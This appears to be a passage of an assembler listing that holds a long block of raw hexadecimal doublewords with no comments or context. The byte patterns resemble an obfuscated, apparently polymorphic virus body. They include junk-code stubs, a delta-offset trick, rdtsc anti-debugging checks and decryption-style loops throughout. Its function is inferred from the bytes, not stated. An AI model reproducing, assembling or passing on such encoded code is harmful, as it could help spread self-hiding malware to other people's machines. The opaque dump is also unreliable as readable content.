2474895Eh, 24448104h, 1904h, 0C3564600h dd 0FE114632h, 10E9483Fh, 40000000h, 7ED432CFh, 3D62F336h dd 24C526D3h, 0FF2A2CBFh, 21B027B5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0CFF130E3h dd 12217CDDh, 51BD8B92h, 0FF061E20h, 1E32F995h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 96EEED03h, 8B665250h, 0E8310FDFh, 10h, 7E0C58D8h, 0CBB8403Eh dd 0F295E1ACh, 0F0116048h, 0BCAEBF66h, 50585A5Fh, 0F45C78BBh dd 0BD8B962Fh, 61E18BDh, 0B027B5FFh, 0BF660621h, 95FF0A06h dd 61E3049h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 0D1C35747h, 287F6F06h, 3EF09798h, 0B9BD8342h, 61E0Dh dd 34840Fh, 880F0000h, 6, 30619D8Bh, 6696061Eh, 0E850D88Bh dd 5, 9072C27Dh, 0DE96Dh, 158F0000h, 6B9FF2Fh, 2AC54487h dd 5F750CE5h, 0EF816696h, 0B5FF5633h, 621B027h, 4D95FFF9h dd 6A061E16h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 555DC356h, 4383995Eh, 0B5FF75D5h dd 621B027h, 0F98D8960h, 61061E1Dh, 9DD95FFh, 6A061Eh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 830177C3h, 1E2BD9BDh, 840F0206h, 8Ch, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Bh, 0EFC35646h, 4B9916B9h dd 0E9B3996Eh, 0Ah, 0B018ADE5h, 86F9A44Eh, 858B96F5h, 61E0E2Dh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0B3C35646h dd 0C69Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 0DBC35646h, 8B494FBBh, 8E9F8h, 0BE2C0000h, 8B3BD6B5h dd 95898958h, 61E0ED5h, 1F8185C7h, 61Eh, 7E80000h, 0EB000000h dd 50B7D1Bh, 9D0117FDh, 61E1C09h, 0E1B5895Fh, 0E9061E2Ah dd 0FFFFF408h, 0C18BDA8Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 85C35343h, 2097C836h, 96FA6EFh, 1E2FB98Dh dd 9E906h, 0A0260000h, 688AFD36h, 29E5DCD4h, 1E1CF19Dh dd 0DD858D06h, 0F5061E19h, 0F525050h, 56525031h, 66310F5Bh dd 585AFB8Bh, 489585Ah, 0F9BF0F24h, 6A006Ah, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0B13ED1C3h dd 184FA404h, 6AA333E2h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 830F14D2h, 6, 311DBD8Bh dd 858D061Eh, 6226FFCh, 8342F380h, 6A05C0h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 665019C3h dd 89877DBFh, 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 8B2DB7C3h, 1E0D7D9Dh, 66006A06h dd 38E4F381h, 492337BBh, 6A006A18h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 88C9C356h dd 7F3FCB19h, 9D8B1978h, 61E2D69h, 21ED95FFh, 6A061Eh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 950969C3h, 61E1C3Dh, 94B68D8Dh, 6A0621h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 870BE7C3h dd 539E3633h, 0D1FF6AC8h, 0E9FBBF0Fh, 13h, 129F05DDh, 10921630h dd 14C2979Ah, 7CDFA005h, 830E762Bh, 1E272DBDh, 850F0106h dd 54h, 26AFA8Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 72C35343h, 6ABA805Fh, 489505Bh, 53006A24h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 0B2F7F7A2h, 32F995FFh, 9D8B061Eh, 61E0469h, 0DF1E9h dd 0E800h, 815D0000h, 227006EDh, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 6AC4CFE2h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 6CEFC357h, 8D1658A2h, 218DFE85h, 0EE906h dd 45210000h, 0FF958C33h, 0FD90E28Fh, 3F2D7474h, 66606050h dd 8E8F88Bh, 20000000h, 0D2E721EBh, 5AA9A47Eh, 8E861h dd 46B0000h, 0C3910346h, 13E87490h, 28000000h, 0B84F44C1h dd 983E8620h, 61455FDDh, 0A8371362h, 5E5A7B52h, 24048961h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0F1C35141h dd 0CF8D2191h, 6820F60h, 89000000h, 1E09AD9Dh, 1850106h dd 61061E17h, 35FF64h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 390C357h dd 0B1277CFBh, 800FF953h, 6, 41DBD8Bh, 8964061Eh, 25h dd 8E900h, 2B90000h, 1108AAA1h, 85FFD4E8h, 61E1D91h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 66C35545h, 0FF6AA259h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 91C35545h dd 0FE901h, 0EBC80000h, 3050D749h, 720A0C44h, 0F9856C68h dd 0B5FFFC45h, 61E2931h, 2A398D89h, 0BD09061Eh, 61E0885h dd 165595FFh, 12E9061Eh, 89000001h, 1E020585h, 0FC00B006h dd 2FE5BD01h, 70E6061Eh, 0BE9h, 0F1248700h, 0AB83019Bh dd 534AC79Dh, 958971E4h, 61E07F9h, 830F613Ch, 0E1h, 10E9h dd 0ED688900h, 0C5FFABF5h, 5198C2B3h, 1C0C3661h, 7E96Bh dd 933D0000h, 0D394EE0Eh, 0C8B60F2Fh, 9A59509h, 6BA061Eh dd 0B3000000h, 0C1C18BB6h, 816604E8h, 66EFB0CFh, 0FB8BE2F7h dd 8E0FC82Bh, 6, 1A05BD33h, 0D18B061Eh, 7F64F781h, 2E9759Ah dd 0B3000000h, 0A1858BA6h, 81061E22h, 8DDAB5CFh, 0D59D8B59h dd 83061E01h, 0BD8B07C0h, 61E1C8Dh, 0E800C083h, 0Eh, 7F5A10D2h dd 4B6282Dh, 9F51B23h, 8589DA90h, 61E124Dh, 0D03BF95Bh dd 0F830Fh, 8D310000h, 61E2079h, 38E9h, 0B7FE8B00h, 0F98D8B68h dd 0F061E0Dh, 0E183FFBFh, 22840F01h, 0F000000h, 0A583D8B7h dd 61E0DF9h, 3880FFEh, 0F000000h, 9589FEBFh, 61E22A1h dd 0BDC9BB66h, 0E9h, 51B58D00h, 660621F8h, 6ADA8Bh, 5D79FFBBh dd 0C9853164h, 0FF061E0Eh, 1E26C195h, 499D8906h, 0B9061E31h dd 8D5h, 4E19D89h, 0E183061Eh, 56BF66FCh, 6AFCA8h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 96054C3h, 1E2C059Dh, 61FE8B06h, 0B8h, 6D9D8B00h, 0BA061E13h dd 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 4AC35343h dd 0B450BB56h, 0BF5F27FCh, 72E4B3A5h, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 10E9F960h, 53000000h, 17810597h, 0DA123962h dd 2DDAD28h, 61DC605Dh, 0D12DBF66h, 2E659589h, 880D061Eh dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 0F0A1C357h, 0F13E7D8h, 81h, 75958B00h dd 6A061E23h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 8B9DC350h, 1E324D8Dh, 50F88B06h dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 0BF665358h dd 0BF5F85E5h, 336E6E6Ah, 259BD83h, 0F00061Eh, 6C84h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0C76BE4B7h, 0B8C53638h, 0 dd 0E1D9529h, 8D8D061Eh, 61E4CB8h, 2B618D89h, 9D89061Eh dd 61E26B9h, 6AE1FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 0D10567C3h, 0AA21A476h, 0B7D38088h dd 0E9B09BBh, 69BD8364h, 61E31h, 504840Fh, 8B660000h, 69BD83D8h dd 1061E31h, 50F840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 5C529BC3h, 0BD760859h dd 3169BD83h, 0F03061Eh, 4AA86h, 77BB6600h, 0BF666045h dd 8C664F8Fh, 52006AD9h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 9D8B6260h, 61E0271h, 19860Fh, 14E90000h dd 84000000h, 83DD7464h, 0CC8354E7h, 0B1F9096Ch, 93AC74Dh dd 800E4C8Fh, 9D8B04E1h, 61E136Dh, 840FC90Ah, 1A9h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 9CC35242h, 28F70DF0h dd 858BD4C0h, 61E1A11h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 4DC35343h, 0DC37D7B6h, 0C8E0Fh, 8F0F0000h dd 6, 1F719D8Bh, 0EE9061Eh, 55000000h, 1CF8DAC2h, 4B007F57h dd 21B10507h, 0BD85332Dh, 50061E14h, 0DE960h, 0CD310000h dd 8C5C7778h, 0CE23C96Ch, 0E9997B04h, 6, 0A0F77568h, 89618BD1h dd 0BB662404h, 9D891CFEh, 61E29D9h, 8589006Ah, 61E2329h dd 4E8h, 1F03FF00h, 50605300h, 5A310F52h, 615A5358h, 3EB7505Bh dd 424448Bh, 12E9h, 0FFAA1E00h, 0EC7C928Ah, 0F23BEF6Bh dd 8AB59AFEh, 8B95FCD0h, 24448900h, 13E804h, 0C2580000h dd 252A857Fh, 837A10B2h, 116A789Ah, 40B2F5DAh, 18890FACh dd 0E9000000h, 13h, 0F468AA81h, 0E200A0C0h, 0FD5D818Bh dd 8C2367FFh, 5B4B8D65h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 9BD89BBh, 66061E05h, 0D68DDF81h dd 144195FFh, 6A061Eh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 0C60E9BC3h, 0E8657914h, 5E9h, 0D79F7000h dd 8589B5D6h, 621B027h, 23EE9FCh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 1995FEC3h dd 472DEC9Eh, 8BA384ECh, 1E0399BDh, 1F858B06h, 6A0621B0h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 0C333C351h, 758D897Ah, 0C7061E1Fh, 1800h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 8B59B12Dh, 11B58B16h, 8B0FF3h, 89000000h dd 1E229DBDh, 23B58B06h, 660621B0h, 0EAE9D381h, 1CC9858Bh dd 6A061Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 797490C3h, 0BCCC3305h, 0F0689EEh, 38Ah, 0DE8B6600h dd 1A11858Bh, 6A061Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 2B65FAC3h, 0E8C84279h, 0Fh, 8061B3D2h dd 88A3752Ch, 9F15BF23h, 50D73162h, 0DE9h, 7E66C500h, 6FECC0D0h dd 0D4AD6905h, 5F5F7443h, 89044689h, 1E2F5D85h, 0B59D8B06h dd 50061E33h, 13E8h, 437EAB00h, 0BABF42E6h, 0BAED778Fh dd 0EB0E66D5h, 5E64CE7h, 61616060h, 2434895Fh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0A5C35141h, 8914B95Dh dd 1E0C8595h, 1FB5FF06h, 6A0621B0h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 66D3C350h dd 0ACBBDB81h, 0B82AD568h, 0F88B6605h, 2A243481h, 8905A729h dd 1E122185h, 27858D06h, 6A0621B0h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0EDCDC351h dd 8B669008h, 0F5650FEh, 285h, 5B616000h, 52006A90h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 9E9C8h, 43610000h, 0A9630B73h, 0FF75DC04h, 1E144195h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 39382B5h, 1E17599Dh, 0C8B0BB06h, 0BD314304h dd 61E2741h, 443EBB61h, 85C7323Ah, 61E3169h, 3, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 5DC35646h, 48C48A61h dd 0CE812h, 740D0000h, 547E02C4h, 371B55C8h, 0CF800DC0h dd 0BF665B88h, 0BD83924Eh, 621B027h, 38840F00h, 9000000h dd 1E323985h, 48E906h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 890DFFC3h, 1E029995h dd 40B86006h, 0F16CDFBh, 5061D2B7h, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 8953CAC3h dd 1E1CA9B5h, 14E906h, 64980000h, 407B2D38h, 0A6545CDFh dd 0EFC6AB36h, 0AE296CECh, 0BD8387E6h, 61E3169h, 0CC850F03h dd 6A000003h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 8086C353h, 0D7AAE69Bh, 0FA85A3Bh dd 0BD83DFBFh, 621B027h, 98840F00h, 6A000003h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 0C1FEC356h, 10CF0EC2h, 133BEF81h, 0B5FF61A7h, 621B027h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 9EC35747h dd 95FF52B3h, 61E1555h, 2751B589h, 0B58B061Eh, 621B01Bh dd 17759589h, 0BD8B061Eh, 61E00C5h, 106C7h, 6A0001h, 3E850h dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 8D2929C3h, 61E26A1h, 11E95750h, 42000000h, 5BFA8BCDh dd 0DD4875ABh, 2AAA30Fh, 4DA06374h, 2434895Bh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0CBC35242h, 0CE9A618Dh dd 0F7CE145Dh, 27B5FF33h, 290621B0h, 1E1451BDh, 3D95FF06h dd 33061E2Bh, 1E1A1DBDh, 1BB58B06h, 8B0621B0h, 1E2EB1BDh dd 8BF88B06h, 1E2A2185h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 0A20D7DFDh, 0BE948EFh dd 0C5000000h, 5B4B4h, 0F3BEC291h, 86899A6Ah, 0C4h, 0BE9h dd 243A5800h, 0FF791EFAh, 4A8C983h, 2375958Bh, 0CE8061Eh dd 0F5000000h, 0D521495Dh, 0D88ACDDBh, 0F9D11621h, 4C2835Fh dd 31FD9D8Bh, 5089061Eh, 50006A20h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 0CF24D5B0h, 8B66CE56h dd 0A4858DD9h, 660621C4h, 8689DE8Bh, 0B8h, 0F6F40CBFh dd 998D3138h, 6A061E02h, 0B5FFFC00h, 621B027h, 0FFFA8B66h dd 1E32F995h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 9387ABFDh, 0E996E618h, 0Ch, 8BCF8F02h dd 52AC06FCh, 0C01D2557h, 8CA6BB50h, 0E996447Fh dd 0Bh, 0C789C4Ah, 0E4661B1Eh, 0FF5D31E8h, 21B027B5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 56D8895Bh, 0F9F5891h, 0DA18BB55h, 95FF0727h, 61E3049h dd 3DCFF381h, 0BD8362CAh, 61E0DB9h, 1C840F00h, 1000000h dd 1E04498Dh, 95BD8B06h, 50061E33h, 0A296BF66h, 0F243489h dd 28Ch, 0FFFE8B00h, 21B027B5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0CF26AD93h dd 0FF9EEE38h, 1E164D95h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 13ACDDFFh dd 5EE187D9h, 0BF0F9E4Dh, 27B5FFFEh, 6A0621B0h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 0FF67C350h, 1E09DD95h, 0D9BD8306h, 2061E2Bh, 64840Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 67039CC3h, 0EBE563A7h, 667542B4h, 8B4C28BFh dd 1E0E2D85h, 0DF816606h, 9D8B63F2h, 61E1445h, 6A0000C6h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 0A2A5C357h, 31C5B557h, 0D38166B0h, 85C72397h dd 61E1F81h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 53C35343h dd 0E3DC2A42h, 12E9h, 374E5500h, 0AC3641FDh, 33784922h dd 6962E7B1h, 0E950AC2Ch, 0FFFFF38Eh, 0AE9h, 0DE4F3A00h dd 0E5734561h, 8B99303Bh, 55006AC1h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 0E950CB1Ch dd 6, 0EB38C293h, 858DE419h, 61E19DDh, 50DE8B66h, 0E9F08B60h dd 9, 0FEDB1059h, 0CF0EC2C1h, 4896110h, 51006A24h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 0CB6C6613h, 45D8589h, 8960061Eh, 1E05E1B5h, 0CE906h dd 0BBBC0000h, 1329FB3Eh, 0C587BD24h, 6A61DBCBh, 89006A00h dd 1E2E8D85h, 0DE906h, 0BF5C0000h, 55A615D4h, 0D921A529h dd 8D6E03D5h, 22804385h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 4DCA0B6Ch, 0F2B8BFD2h dd 0E3815C79h, 7116AF19h, 6A05C083h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0F0D6C355h dd 60527BE7h, 8EB2B4BBh, 0BD896105h, 61E17C5h, 0AF2BB50h dd 489528Ch, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 91644FA0h, 259D8B51h, 5F061E31h dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 3BD485C3h, 98F0E1A1h, 66D87ACFh, 8166D98Bh dd 6A49BDEBh, 0DD852900h, 0FF061E32h, 1E21ED95h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0BD8BA1C5h, 61E2B29h, 94B68D8Dh, 6A0621h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 60B381C3h dd 0F250E881h, 8D012D30h, 61E2C81h, 0D5958961h, 0FF061E13h dd 53006AD1h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 7811B8D6h, 0D18D892Bh, 83061E16h, 1E272DBDh dd 850F0106h, 7Bh, 0AE9h, 8451C500h, 2D11E7F6h, 6AFB6A5Ah dd 8B0F02h, 90000000h, 0DE951h, 0A3E0000h, 266915Ch, 66B3A9D8h dd 5BBE7E8Ch, 6A9050h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 0DDD72CC3h, 32F995FFh, 6A061Eh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 94F932C3h, 0C2CF8166h, 0E2EF81ADh, 0E978F864h, 0E4Ch dd 0E8h, 0ED815D00h, 622804Dh, 0DE9h, 72CCA00h, 0C3E922Ch dd 0C7DC6EE4h, 6AA353h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 1C870EC3h, 10E830D4h, 0EA000000h dd 0A44CADD1h, 752945D7h, 1F40BBFEh, 66D4C596h, 5B98F4BFh dd 8DFE858Dh, 6A0621h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 932860C3h, 5C26A84Bh, 0D19D0BEDh dd 90061E09h, 58F0Fh, 66530000h, 505BF98Bh, 178D0Fh, 12E90000h dd 0E3000000h, 0EC30C8C9h, 5398A4BFh, 0C74A4302h, 0ECEACC61h dd 6A90D9h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 64A382C3h, 35FFh, 64FC0000h, 2589h, 0CE80000h dd 54000000h, 903125C3h, 42EBEB12h, 817ECBD2h, 2095BFCBh dd 85FF5F77h, 61E1D91h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 0B9C35141h, 0AB5D4F0Fh, 123A3627h, 2FD99D8Bh dd 0CF81061Eh, 4F8C98AFh, 6AFF6Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 4AFD76C3h, 40521771h dd 69BB108Ch, 601457D1h, 85011BB1h, 61E25C9h, 0A9B5FF61h dd 6A061E0Eh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 2FDFC356h, 165595FFh, 0CE9061Eh dd 0F000001h, 68Ch, 0DD9D3300h, 0B0061E25h, 0BDBD8900h dd 2B061E13h, 1E2F5D9Dh, 6670E606h, 2D46DF81h, 666071E4h dd 800FCE8Bh, 6, 2A11B503h, 3C61061Eh, 0D0830F61h, 8B000000h dd 1E0279BDh, 0C8B60F06h, 0BAFABF0Fh, 6, 4558D89h, 0C18B061Eh dd 5676BF66h, 0F504E8C1h, 0F766DF8Bh, 53C82BE2h, 5FFEBF0Fh dd 14E9D18Bh, 0F000000h, 0E89h, 0B58B6000h, 61E0EBDh, 27019D89h dd 8B61061Eh, 1E094D85h, 7E56BB06h, 0D3813D4Fh, 517D4695h dd 8307C083h, 0BE900C0h, 23000000h, 26E5C42Dh, 71C66537h dd 0D03BB85Bh, 11830Fh, 0BD290000h, 61E17ADh, 4EE9h, 5D8D8900h dd 8B061E19h, 1E09BD8Dh, 75BD3106h, 83061E27h, 840F01E1h dd 33h, 9BDA583h, 89FE061Eh, 1E049595h, 11E906h, 20F30000h dd 916E136Bh, 0B745AD00h, 0F7B0370Bh, 89F4CDF5h, 1E094D95h dd 29F5BF06h, 0E93F40h, 8D000000h, 220329B5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0B2BB6672h, 6A006A22h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 1C06C357h, 0FF3C7425h dd 1E26C195h, 65BD8B06h, 0B9061E14h, 90Ch, 1859589h, 0E183061Eh dd 0FCD8B3FCh, 13E9h, 33A8100h, 0F1EA4BE5h, 0B6785661h dd 0A7E4054h, 20B5389Ch, 5E9h, 0B938E000h, 0C02BAA19h dd 8E8h, 0AFC76800h, 3BE0694Eh, 0D38166ADh, 2B5F8E07h dd 55006AD2h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 0E9B596CFh, 8, 0ECBB9ADCh, 0A5FF4B98h, 0D1C233ADh dd 83D003E8h, 0F47504E9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 62C35747h, 73DA5F2Ch, 8B660870h, 57006ADAh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 199D035Ah, 31061E33h, 1E2279B5h, 880D06h, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 70BA46C3h, 0B50960A9h, 61E04C1h, 75958B61h, 89061E23h dd 1E1505B5h, 4D8D8B06h, 66061E32h, 4731CB81h, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 0F7815818h, 57B1D905h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0D8C35646h dd 6CBC6AA5h, 259BD83h, 0F00061Eh, 2984h, 0C9B52900h, 2B061E0Eh dd 1E1A019Dh, 0B806h, 0BD890000h, 61E0231h, 4CB88D8Dh dd 8589061Eh, 61E00DDh, 0FF21F780h, 0BD83F9E1h, 61E3169h dd 72840F00h, 6A000004h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 25CDC355h, 0A1BD8BDBh dd 66061E0Dh, 1EC7E781h, 3169BD83h, 0F01061Eh, 45784h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 8D29C1F4h, 61E0265h, 3169BD83h, 0F03061Eh dd 3F186h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 80B51898h, 0AD331430h, 53006A60h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 69CF5DCBh, 8166A257h, 662B63F7h, 6AD98Ch, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 3429E2C3h, 1CB1A629h, 0C781D0DEh, 2C80BB47h, 6A04E180h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 98FC357h, 1E09FD9Dh, 0FC90A06h, 14984h, 8ED78000h dd 1A11858Bh, 6A061Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 0D76D4DC3h, 7CE4EA94h, 0DE8FEh dd 76C50000h, 0BBE0A30h, 0E3F14CCh, 0E94D19E2h, 0Ah, 54BAE289h dd 8A69A8D4h, 0F5B115Ch, 689h, 85B52900h, 33061E22h, 1E14BD85h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 502FB7FBh, 5E8h, 0DECF1C00h, 5E997E1h, 82000000h dd 0B8765D90h, 2404895Bh, 0BE9h, 0ACF01500h, 1AF25F14h dd 0DCB239C2h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 0AD636FC3h, 4D044876h, 888D4768h dd 81FAB3F6h, 76B82404h, 6A0996h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 7C69D2C3h, 11E8h, 0BA65300h dd 572551D4h, 0EA2990CEh, 0C8264CA7h, 99B3D267h, 4195FF5Bh dd 81061E14h, 7735A1F7h, 2785897Bh, 6A0621B0h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 998BC352h, 20B77436h, 1D6E94Fh, 858B0000h, 621B01Fh dd 2309BD8Bh, 0C7061Eh, 18h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 25C35646h, 88234311h, 8E9A3h dd 9A3D0000h, 48F0B132h, 0B58BAC4Eh, 621B023h, 1CC9858Bh dd 6A061Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 3081B4C3h, 9D8BE02Fh, 61E1F4Dh, 6A0689h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 0BB067AC3h, 20BA2577h, 1A11858Bh, 0B960061Eh, 8544FDAh dd 2F457BBAh, 46896172h, 21BD8B04h, 96061E12h, 0BE8h, 0F357F000h dd 6A0612CDh, 0B0B4619Fh, 0F820Fh, 0AE90000h, 2B000000h dd 138F9699h, 8634D032h, 0B7505FDAh, 8B66960Bh, 1FB5FFDAh dd 6A0621B0h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 345BC355h, 74B34B23h, 0C460A068h dd 8890F7Ch, 50000000h, 60310F52h, 81585A61h, 635F2434h dd 6A7CDBh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 0D98E66C3h, 8DAAB074h, 21B02785h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 5D5A3E38h, 3330B548h, 371BD8Bh, 0F50061Eh, 1686h, 0CE86000h dd 25000000h, 0CCB58ADh, 5E78AEE3h, 5B162E06h, 89616160h dd 0BF662404h, 95FFC329h, 61E1441h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 0ABC35545h, 459D8B2Bh, 0E9061E1Bh dd 0Fh, 5F85E282h, 2A268E3Dh, 2C94C1D8h, 66CF6E29h, 0F871C781h dd 6985C761h, 3061E31h, 66000000h, 0BD83D88Bh, 621B027h dd 13840F00h, 0F000000h, 682h, 